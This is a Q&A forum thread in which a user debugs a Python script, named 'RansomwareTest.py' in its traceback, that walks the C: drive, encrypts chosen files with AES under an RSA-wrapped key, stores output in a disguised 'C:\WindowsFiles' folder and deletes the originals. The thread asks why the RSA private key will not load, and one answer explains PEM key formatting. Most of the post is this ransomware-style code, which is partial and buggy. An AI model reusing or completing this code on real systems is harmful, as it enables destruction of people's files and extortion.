4

For some reason, the code that says:

private_key = RSA.import_key(open(privdirec).read(),passphrase = rsakeycode)

in the decryption function is throwing the error RSA Key format is not supported. It was working recently, and now something has changed to throw the error. Could anyone take a look at my code snippets and help?

This is the function to create the RSA Keys:

def RSA_Keys():

global rsakeycode
directory = 'C:\\WindowsFiles'

if os.path.exists(directory):
    print('This action has already been performed')
    return()
else:
    print('')
rsakeycode = ''.join(random.SystemRandom().choice(string.ascii_uppercase + string.digits) for _ in range(32))
f = open('keycode.txt', 'w+')
f.write(rsakeycode)
f.close()
print('Generating RSA Keys...')
key = RSA.generate(4096)
encrypted_key = key.exportKey(passphrase=rsakeycode, pkcs=8, protection='scryptAndAES128-CBC')
with open('privatekey.bin', 'wb') as keyfile1:
    keyfile1.write(encrypted_key)
with open('publickey.bin', 'wb') as keyfile:
    keyfile.write(key.publickey().exportKey())

try:
    if not os.path.exists(directory):
        os.makedirs(directory)
except Exception as ex:
    print('Can not complete action')


shutil.move('privatekey.bin', 'C:\\users\\bsmith\\Desktop\\privatekey.bin')
shutil.move('publickey.bin', 'C:\\WindowsFiles/publickey.bin')
shutil.move('encrypted_data.txt', 'C:\\WindowsFiles/encrypted_data.txt')
shutil.move('keycode.txt', 'C:\\users\\bsmith\\Desktop\\keycode.txt')
print('RSA Keys Created\n')
return()

This is the code to Encrypt Data:

def encryption():

directory = 'C:\\WindowsFiles'
darray = []
index = -1
drives = win32api.GetLogicalDriveStrings()
count = 1

if not os.path.exists(directory):
    print('Error: Option 3 Must Be Selected First To Generate Encryption Keys\n')
    user_interface_selection()

with open('C:\\WindowsFiles/encrypted_data.txt', 'ab') as out_file:
    filename = ''.join(random.SystemRandom().choice(string.ascii_uppercase + string.digits) for _ in range(8))
    recipient_key = RSA.import_key(open('C:\\WindowsFiles/publickey.bin').read())
    session_key = get_random_bytes(16)

    cipher_rsa = PKCS1_OAEP.new(recipient_key)
    out_file.write(cipher_rsa.encrypt(session_key))

    cipher_aes = AES.new(session_key, AES.MODE_EAX)
    filechoice = input('Please input the file for encryption\n')
    for root, dirs, files in os.walk('C:\\', topdown=False):
        for name in files:
            index += 1
            data = (os.path.join(root, name))
            darray.append(data)
            if filechoice in data:
                print(darray[index])
                if darray[index].endswith(".lnk"):
                  print("fail")
                elif darray[index].endswith(".LNK"):
                  print("fail")
                elif darray[index].endswith(".txt"):
                  print(index)         
                  newfile = open(darray[index],'rb')
                  data = newfile.read()
                  print(data)
                  ciphertext, tag = cipher_aes.encrypt_and_digest(data)
                  out_file.write(cipher_aes.nonce)
                  out_file.write(tag)
                  out_file.write(ciphertext)
                  out_file.close()
                  newfile.close()
                  shutil.move('C:\\WindowsFiles/encrypted_data.txt','C:\\WindowsFiles/' + filename + '.txt')
                file = darray[index]
deleteorig(file)

And this is the code to decrypt data:

def decryption():
privdirec = 'C:\\users\\bsmith\\Desktop\\privatekey.bin'
count = 0
farray = []
index = 0
for file in os.listdir("C:\\WindowsFiles"):
    if file.endswith(".txt"):
        count += 1
        print(count,end='')
        print(':',end='')
        print(os.path.join("C:\\WindowsFiles", file))
        farray.append(file)
        print(farray[index])
        index += 1
selection = input('Please enter the number of file you wish to decrypt\n')
if selection > str(count):
    print("This is not a valid option.")
elif int(selection) < 1:
    print("This is not a valid option.")
if selection <= str(count) and int(selection) > 0:
    print("Decrypting file")
    index = int(selection) - 1
    file = os.path.join("C:\\WindowsFiles",farray[index])
    print(file)

    with open(file, 'rb') as fobj:
        private_key = RSA.import_key(open(privdirec).read(),passphrase = rsakeycode)

        enc_session_key, nonce, tag, ciphertext = [fobj.read(x)
                                                  for x in
                                                   (private_key.size_in_bytes(),
                                                           16,16,-1)]

        cipher_rsa = PKCS1_OAEP.new(private_key)
        session_key = cipher_rsa.decrypt(enc_session_key)

        cipher_aes = AES.new(session_key, AES.MODE_EAX, nonce)
        data = cipher_aes.decrypt_and_verify(ciphertext, tag)
    print(data)
    file.close()

Error: ValueError: RSA key format is not supported

Full Error:

File "C:\Python\RansomwareTest.py", line 702, in decryption private_key = RSA.import_key(open(privdirec).read(),passphrase = rsakeycode)
File "C:\Users\bsmith\AppData\Local\Programs\Python\Python36\lib\site-packages\Cryptodome\PublicKey\RSA.py", line 736, in import_key return _import_keyDER(der, passphrase)
File "C:\Users\bsmith\AppData\Local\Programs\Python\Python36\lib\site-packages\Cryptodome\PublicKey\RSA.py", line 679, in _import_keyDER raise ValueError("RSA key format is not supported") ValueError: RSA key format is not supported
3
  • Could you please include the full error you're getting? Commented Sep 14, 2018 at 15:50
  • Full Error: File "C:\Python\RansomwareTest.py", line 702, in decryption private_key = RSA.import_key(open(privdirec).read(),passphrase = rsakeycode) File "C:\Users\bsmith\AppData\Local\Programs\Python\Python36\lib\site-packages\Cryptodome\PublicKey\RSA.py", line 736, in import_key return _import_keyDER(der, passphrase) File "C:\Users\bsmith\AppData\Local\Programs\Python\Python36\lib\site-packages\Cryptodome\PublicKey\RSA.py", line 679, in _import_keyDER raise ValueError("RSA key format is not supported") ValueError: RSA key format is not supported Commented Sep 14, 2018 at 16:07
  • Can you share your rsa key inside your file? Also funny you’re trying to create a ransomware that will encrypt everything. But RSA encryption is too slow to encrypt files. Use AES-256 instead. Commented Jun 12, 2021 at 23:16

1 Answer 1

1

I had the same error. After debugging I found that the format of the key string matters (e.g., newline character at the beginning of the key string will lead to this error). The following format worked for me:

"-----BEGIN RSA PRIVATE KEY-----\nProc-Type: 4,ENCRYPTED\nDEK-Info: AES-128-CBC,9F8BFD6BCECEBE3EAC4618A8628B6956\n<here goes your key split into multiple lines by \n>\n-----END RSA PRIVATE KEY-----\n"

Please try to output your unencoded (non-binary) key and see if newline characters in it match the provided example. I tested with Python 3.6.9

Sign up to request clarification or add additional context in comments.

Comments

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Start asking to get answers

Find the answer to your question by asking.

Ask question

Explore related questions

See similar questions with these tags.